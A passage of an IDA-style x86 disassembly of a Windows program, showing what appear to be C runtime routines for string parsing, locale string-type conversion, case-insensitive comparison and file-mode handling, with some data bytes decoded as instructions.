		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_43554D
; ---------------------------------------------------------------------------


loc_4355F4:				; CODE XREF: sub_435310+241j
					; sub_435310+24Dj
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	loc_435316
; ---------------------------------------------------------------------------


loc_4355FF:				; CODE XREF: sub_435310+91j
					; DATA XREF: seg000:off_435790o
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_4356D2
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_C]
		mov	[ebp+arg_0], edx


loc_435616:				; CODE XREF: sub_435310+3BBj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_4356D0
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx], 0
		jz	loc_4356D0
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 27h
		jnz	short loc_435649
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	loc_4356D0
; ---------------------------------------------------------------------------


loc_435649:				; CODE XREF: sub_435310+329j
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_43569C
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 1
		jbe	short loc_43569C
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_43569C:				; CODE XREF: sub_435310+353j
					; sub_435310+35Bj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	edx, [ebp+arg_C]
		mov	[edx], ecx
		jmp	loc_435616
; ---------------------------------------------------------------------------


loc_4356D0:				; CODE XREF: sub_435310+30Ej
					; sub_435310+31Aj ...
		jmp	short loc_4356DB
; ---------------------------------------------------------------------------


loc_4356D2:				; CODE XREF: sub_435310+2F7j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		mov	[ebp+arg_0], eax


loc_4356DB:				; CODE XREF: sub_435310:loc_4356D0j
		jmp	loc_435316
; ---------------------------------------------------------------------------


loc_4356E0:				; CODE XREF: sub_435310+80j
					; sub_435310+91j ...
		movsx	ecx, [ebp+var_8]
		test	ecx, ecx
		jz	short loc_43570C
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	al, [ebp+var_8]
		push	eax
		call	sub_434B40
		add	esp, 14h
		mov	ecx, [ebp+var_4]
		mov	[ebp+arg_0], ecx
		jmp	short loc_435787
; ---------------------------------------------------------------------------


loc_43570C:				; CODE XREF: sub_435310+3D6j
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_435758
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax


loc_435758:				; CODE XREF: sub_435310+417j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx


loc_435787:				; CODE XREF: sub_435310+3FAj
		jmp	loc_435316
; ---------------------------------------------------------------------------


loc_43578C:				; CODE XREF: sub_435310+Ej
					; sub_435310+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_435310	endp

; ---------------------------------------------------------------------------
off_435790	dd offset loc_4355FF	; DATA XREF: sub_435310+91r
		dd offset loc_4354E3
		dd offset loc_43546E
		dd offset loc_4353A8
		dd offset loc_4353E6
		dd offset loc_435447
		dd offset loc_435495
		dd offset loc_4354BC
		dd offset loc_43552A
		dd offset loc_435424
		dd offset loc_4356E0
byte_4357BC	db 0			; DATA XREF: sub_435310+8Br
; ---------------------------------------------------------------------------
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	al, [ecx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		add	cl, [edx]
		or	cl, [edx]
		or	al, [ebx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	cl, [edx]
		or	al, [ecx]
		or	cl, [edx]
		add	al, 0Ah
		or	cl, [edx]
		add	eax, 0A0A0A0Ah
		push	es
		or	cl, [edx]
		or	cl, [edx]
		or	al, [edi]
		or	[edx], cl
		or	cl, [edx]
		or	cl, [ecx]


loc_43580F:				; DATA XREF: sub_435310+B0r
		mov	dword ptr [ebx+43h], 4353D100h
		add	bh, dl
		push	ebx
		inc	ebx
		add	ch, bl
		push	ebx
		inc	ebx


loc_43581E:				; DATA XREF: sub_435310+EEr
		add	ds:0F004354h, al
		push	esp
		inc	ebx
		add	ds:1B004354h, dl
		push	esp
		inc	ebx
		add	ah, cl

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435830	proc near		; CODE XREF: sub_430880+41p
					; sub_430880+60p ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		cmp	[ebp+arg_0], 1
		jnz	loc_435999
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_90], eax
		lea	ecx, [ebp+var_8C]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_94], 80h
		push	0
		mov	edx, [ebp+var_94]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_436820
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	loc_43591F
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_4358A0
		jmp	loc_43597D
; ---------------------------------------------------------------------------


loc_4358A0:				; CODE XREF: sub_435830+69j
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_436820
		add	esp, 14h
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0
		jnz	short loc_4358CA
		jmp	loc_43597D
; ---------------------------------------------------------------------------


loc_4358CA:				; CODE XREF: sub_435830+93j
		push	58h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	edx, [ebp+var_94]
		push	edx
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4358F0
		jmp	loc_43597D
; ---------------------------------------------------------------------------


loc_4358F0:				; CODE XREF: sub_435830+B9j
		mov	[ebp+var_4], 1
		push	0
		mov	eax, [ebp+var_94]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_436820
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43591F
		jmp	short loc_43597D
; ---------------------------------------------------------------------------


loc_43591F:				; CODE XREF: sub_435830+5Aj
					; sub_435830+EBj
		push	63h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41AE60
		add	esp, 10h
		mov	edx, [ebp+var_90]
		mov	[edx], eax
		mov	eax, [ebp+var_90]
		cmp	dword ptr [eax], 0
		jnz	short loc_435949
		jmp	short loc_43597D
; ---------------------------------------------------------------------------


loc_435949:				; CODE XREF: sub_435830+115j
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_90]
		mov	ecx, [eax]
		push	ecx
		call	sub_41D800
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_435976
		push	2
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_41B8F0
		add	esp, 8


loc_435976:				; CODE XREF: sub_435830+136j
		xor	eax, eax
		jmp	loc_435AB6
; ---------------------------------------------------------------------------


loc_43597D:				; CODE XREF: sub_435830+6Bj
					; sub_435830+95j ...
		cmp	[ebp+var_4], 0
		jz	short loc_435991
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41B8F0
		add	esp, 8


loc_435991:				; CODE XREF: sub_435830+151j
		or	eax, 0FFFFFFFFh
		jmp	loc_435AB6
; ---------------------------------------------------------------------------


loc_435999:				; CODE XREF: sub_435830+Dj
		cmp	[ebp+arg_0], 0
		jnz	loc_435AB3
		mov	[ebp+var_A4], 4
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_9C], ecx
		push	0
		mov	edx, [ebp+var_A4]
		push	edx
		push	offset byte_4EECE8
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_436680
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4359E0
		or	eax, 0FFFFFFFFh
		jmp	loc_435AB6
; ---------------------------------------------------------------------------


loc_4359E0:				; CODE XREF: sub_435830+1A6j
		mov	edx, [ebp+var_9C]
		mov	byte ptr [edx],	0
		mov	[ebp+var_A0], 0
		jmp	short loc_435A04
; ---------------------------------------------------------------------------


loc_4359F5:				; CODE XREF: sub_435830:loc_435AAAj
		mov	eax, [ebp+var_A0]
		add	eax, 1
		mov	[ebp+var_A0], eax


loc_435A04:				; CODE XREF: sub_435830+1C3j
		cmp	[ebp+var_A0], 4
		jge	loc_435AAF
		cmp	ds:dword_44FD20, 1
		jle	short loc_435A4B
		push	4
		mov	ecx, [ebp+var_A0]
		mov	dl, ds:byte_4EECE8[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_A8], eax
		jmp	short loc_435A7E
; ---------------------------------------------------------------------------


loc_435A4B:				; CODE XREF: sub_435830+1E8j
		mov	ecx, [ebp+var_A0]
		mov	dl, ds:byte_4EECE8[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_A8], edx


loc_435A7E:				; CODE XREF: sub_435830+219j
		cmp	[ebp+var_A8], 0
		jz	short loc_435AA8
		mov	eax, [ebp+var_9C]
		movsx	ecx, byte ptr [eax]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_98]
		lea	eax, [ecx+edx-30h]
		mov	ecx, [ebp+var_9C]
		mov	[ecx], al
		jmp	short loc_435AAA
; ---------------------------------------------------------------------------


loc_435AA8:				; CODE XREF: sub_435830+255j
		jmp	short loc_435AAF
; ---------------------------------------------------------------------------


loc_435AAA:				; CODE XREF: sub_435830+276j
		jmp	loc_4359F5
; ---------------------------------------------------------------------------


loc_435AAF:				; CODE XREF: sub_435830+1DBj
					; sub_435830:loc_435AA8j
		xor	eax, eax
		jmp	short loc_435AB6
; ---------------------------------------------------------------------------


loc_435AB3:				; CODE XREF: sub_435830+16Dj
		or	eax, 0FFFFFFFFh


loc_435AB6:				; CODE XREF: sub_435830+148j
					; sub_435830+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_435830	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, ds:off_451048
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_435AD0:				; CODE XREF: seg000:00431AC6p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43AED0
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		cmp	ds:dword_4EECF4, 0
		jnz	short loc_435B4E
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		push	offset dword_43A2A8
		push	1
		call	ds:dword_4F12CC	; GetStringTypeW
		test	eax, eax
		jz	short loc_435B22
		mov	ds:dword_4EECF4, 1
		jmp	short loc_435B4E
; ---------------------------------------------------------------------------


loc_435B22:				; CODE XREF: seg000:00435B14j
		lea	ecx, [ebp-1Ch]
		push	ecx
		push	1
		push	offset dword_43A2A4
		push	1
		push	0
		call	near ptr 3D0000h
		rol	dword ptr [ebp-38F38B40h], cl
		add	eax, offset dword_4EECF4
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 3307EB00h, 1DBE9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_435B4E:				; CODE XREF: seg000:00435AFDj
					; seg000:00435B20j
		cmp	ds:dword_4EECF4, 1
		jnz	short loc_435B72
		mov	edx, [ebp+14h]
		push	edx
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	ds:dword_4F12CC	; GetStringTypeW
		jmp	loc_435D29
; ---------------------------------------------------------------------------


loc_435B72:				; CODE XREF: seg000:00435B55j
		cmp	ds:dword_4EECF4, 2
		jnz	loc_435D27
		cmp	dword ptr [ebp+18h], 0
		jnz	short loc_435B8D
		mov	eax, ds:dword_4EEA80
		mov	[ebp+18h], eax


loc_435B8D:				; CODE XREF: seg000:00435B83j
		push	0
		push	0
		push	0
		push	0
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		push	220h
		mov	eax, [ebp+18h]
		push	eax
		call	ds:dword_4F1384	; WideCharToMultiByte
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jnz	short loc_435BBC
		xor	eax, eax
		jmp	loc_435D29
; ---------------------------------------------------------------------------


loc_435BBC:				; CODE XREF: seg000:00435BB3j
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-28h]
		add	eax, 3
		and	al, 0FCh
		call	sub_41DEB0
		mov	[ebp-30h], esp
		mov	[ebp-18h], esp
		mov	ecx, [ebp-30h]
		mov	[ebp-2Ch], ecx
		mov	edx, [ebp-28h]
		push	edx
		push	0
		mov	eax, [ebp-2Ch]
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_435C0E
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-2Ch], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh


loc_435C0E:				; CODE XREF: seg000:00435BF5j
		cmp	dword ptr [ebp-2Ch], 0
		jnz	short loc_435C1B
		xor	eax, eax
		jmp	loc_435D29
; ---------------------------------------------------------------------------


loc_435C1B:				; CODE XREF: seg000:00435C12j
		push	0
		push	0
		mov	ecx, [ebp-28h]
		push	ecx
		mov	edx, [ebp-2Ch]
		push	edx
		mov	eax, [ebp+10h]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		push	220h
		mov	edx, [ebp+18h]
		push	edx
		call	ds:dword_4F1384	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_435C49
		xor	eax, eax
		jmp	loc_435D29
; ---------------------------------------------------------------------------


loc_435C49:				; CODE XREF: seg000:00435C40j
		mov	dword ptr [ebp-4], 1
		mov	eax, [ebp-28h]
		lea	eax, [eax+eax+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41DEB0
		mov	[ebp-34h], esp
		mov	[ebp-18h], esp
		mov	ecx, [ebp-34h]
		mov	[ebp-24h], ecx
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_435C8D
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-24h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh


loc_435C8D:				; CODE XREF: seg000:00435C74j
		cmp	dword ptr [ebp-24h], 0
		jnz	short loc_435C9A
		xor	eax, eax
		jmp	loc_435D29
; ---------------------------------------------------------------------------


loc_435C9A:				; CODE XREF: seg000:00435C91j
		cmp	dword ptr [ebp+1Ch], 0
		jnz	short loc_435CA9
		mov	edx, ds:dword_4EEA70
		mov	[ebp+1Ch], edx


loc_435CA9:				; CODE XREF: seg000:00435C9Ej
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-24h]
		mov	word ptr [ecx+eax*2], 0FFFFh
		mov	edx, [ebp+10h]
		mov	eax, [ebp-24h]
		mov	word ptr [eax+edx*2-2],	0FFFFh
		mov	ecx, [ebp-24h]
		push	ecx
		mov	edx, [ebp-28h]
		push	edx
		mov	eax, [ebp-2Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		mov	edx, [ebp+1Ch]
		push	edx
		call	near ptr 3D0000h
		xor	eax, 8BE04589h
		inc	ebp
		adc	[ebx-2DCC23B3h], cl
		mov	dx, [ecx+eax*2-2]
		cmp	edx, 0FFFFh
		jz	short loc_435D08
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-24h]
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		cmp	edx, 0FFFFh
		jz	short loc_435D0C


loc_435D08:				; CODE XREF: seg000:00435CF2j
		xor	eax, eax
		jmp	short loc_435D29
; ---------------------------------------------------------------------------


loc_435D0C:				; CODE XREF: seg000:00435D06j
		mov	eax, [ebp+10h]
		shl	eax, 1
		push	eax
		mov	ecx, [ebp-24h]
		push	ecx
		mov	edx, [ebp+14h]
		push	edx
		call	sub_41F9A0
		add	esp, 0Ch
		mov	eax, [ebp-20h]
		jmp	short loc_435D29
; ---------------------------------------------------------------------------


loc_435D27:				; CODE XREF: seg000:00435B79j
		xor	eax, eax


loc_435D29:				; CODE XREF: seg000:00435B6Dj
					; seg000:00435BB7j ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435D40	proc near		; CODE XREF: sub_40F19D+15Fp
					; sub_431EE0+40p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4EEA68
		cmp	dword ptr [eax+8], 0
		jnz	short loc_435D93
		mov	al, 0FFh
		mov	edi, edi


loc_435D5C:				; CODE XREF: sub_435D40+28j
					; sub_435D40+48j
		or	al, al
		jz	short loc_435D8E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_435D5C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_435D5C
		sbb	al, al
		sbb	al, 0FFh


loc_435D8E:				; CODE XREF: sub_435D40+1Ej
		movsx	eax, al
		jmp	short loc_435E0B
; ---------------------------------------------------------------------------


loc_435D93:				; CODE XREF: sub_435D40+16j
		lock inc ds:dword_4EED14
		cmp	ds:dword_4EED10, 0
		jg	short loc_435DA7
		push	0
		jmp	short loc_435DBC
; ---------------------------------------------------------------------------


loc_435DA7:				; CODE XREF: sub_435D40+61j
		lock dec ds:dword_4EED14
		push	13h
		call	sub_421A80
		mov	[esp+10h+var_10], 1


loc_435DBC:				; CODE XREF: sub_435D40+65j
		mov	eax, 0FFh
		xor	ebx, ebx
		nop


loc_435DC4:				; CODE XREF: sub_435D40+90j
					; sub_435D40+A8j
		or	al, al
		jz	short loc_435DEF
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_435DC4
		push	eax
		push	ebx
		call	sub_420A00
		mov	ebx, eax
		add	esp, 4
		call	sub_420A00
		add	esp, 4
		cmp	bl, al
		jz	short loc_435DC4
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_435DEF:				; CODE XREF: sub_435D40+86j
		mov	ebx, eax
		pop	eax
		or	eax, eax
		jnz	short loc_435DFF
		lock dec ds:dword_4EED14
		jmp	short loc_435E09
; ---------------------------------------------------------------------------


loc_435DFF:				; CODE XREF: sub_435D40+B4j
		push	13h
		call	sub_421B20
		add	esp, 4


loc_435E09:				; CODE XREF: sub_435D40+BDj
		mov	eax, ebx


loc_435E0B:				; CODE XREF: sub_435D40+51j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_435D40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435E10	proc near		; CODE XREF: sub_432030+11Bp
					; sub_432030+2D4p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		or	ecx, ecx
		jz	loc_435F0A
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		lea	eax, dword_4EEA68
		cmp	dword ptr [eax+8], 0
		jnz	short loc_435E81
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_435E3C:				; CODE XREF: sub_435E10+53j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_435E65
		or	al, al
		jz	short loc_435E65
		inc	esi
		inc	edi
		cmp	ah, bh
		jb	short loc_435E54
		cmp	ah, bl
		ja	short loc_435E54
		add	ah, dh


loc_435E54:				; CODE XREF: sub_435E10+3Cj
					; sub_435E10+40j
		cmp	al, bh
		jb	short loc_435E5E
		cmp	al, bl
		ja	short loc_435E5E
		add	al, dh


loc_435E5E:				; CODE XREF: sub_435E10+46j
					; sub_435E10+4Aj
		cmp	ah, al
		jnz	short loc_435E6F
		dec	ecx
		jnz	short loc_435E3C


loc_435E65:				; CODE XREF: sub_435E10+32j
					; sub_435E10+36j
		xor	ecx, ecx
		cmp	ah, al
		jz	loc_435F0A


loc_435E6F:				; CODE XREF: sub_435E10+50j
		mov	ecx, 0FFFFFFFFh
		jb	loc_435F0A
		neg	ecx
		jmp	loc_435F0A
; ---------------------------------------------------------------------------


loc_435E81:				; CODE XREF: sub_435E10+21j
		lock inc ds:dword_4EED14
		cmp	ds:dword_4EED10, 0
		jg	short loc_435E95
		push	0
		jmp	short loc_435EAE
; ---------------------------------------------------------------------------


loc_435E95:				; CODE XREF: sub_435E10+7Fj
		lock dec ds:dword_4EED14
		mov	ebx, ecx
		push	13h
		call	sub_421A80
		mov	[esp+10h+var_10], 1
		mov	ecx, ebx


loc_435EAE:				; CODE XREF: sub_435E10+83j
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, edi


loc_435EB4:				; CODE XREF: sub_435E10+CDj
		mov	al, [esi]
		or	eax, eax
		mov	bl, [edi]
		jz	short loc_435EDF
		or	ebx, ebx
		jz	short loc_435EDF
		inc	esi
		inc	edi
		push	ecx
		push	eax
		push	ebx
		call	sub_420A00
		mov	ebx, eax
		add	esp, 4
		call	sub_420A00
		add	esp, 4
		pop	ecx
		cmp	eax, ebx
		jnz	short loc_435EE5
		dec	ecx
		jnz	short loc_435EB4


loc_435EDF:				; CODE XREF: sub_435E10+AAj
					; sub_435E10+AEj
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_435EEE


loc_435EE5:				; CODE XREF: sub_435E10+CAj
		mov	ecx, 0FFFFFFFFh
		jb	short loc_435EEE
		neg	ecx


loc_435EEE:				; CODE XREF: sub_435E10+D3j
					; sub_435E10+DAj
		pop	eax
		or	eax, eax
		jnz	short loc_435EFC
		lock dec ds:dword_4EED14
		jmp	short loc_435F0A
; ---------------------------------------------------------------------------


loc_435EFC:				; CODE XREF: sub_435E10+E1j
		mov	ebx, ecx
		push	13h
		call	sub_421B20
		add	esp, 4
		mov	ecx, ebx


loc_435F0A:				; CODE XREF: sub_435E10+Bj
					; sub_435E10+59j ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_435E10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, ds:dword_4EEE20
		jnb	short loc_435F51
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_435F61


loc_435F51:				; CODE XREF: seg000:00435F2Dj
		call	sub_4267E0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_435F8F
; ---------------------------------------------------------------------------


loc_435F61:				; CODE XREF: seg000:00435F4Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_42DB90
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_435FA0
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_42DC20
		add	esp, 4
		mov	eax, [ebp-4]


loc_435F8F:				; CODE XREF: seg000:00435F5Fj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435FA0	proc near		; CODE XREF: sub_432CF0+D4p
					; sub_432CF0+1A6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 8000h
		jnz	short loc_436009
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		mov	cl, [eax+edx+4]
		and	cl, 7Fh
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, ds:dword_4EED20[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_43605A
; ---------------------------------------------------------------------------


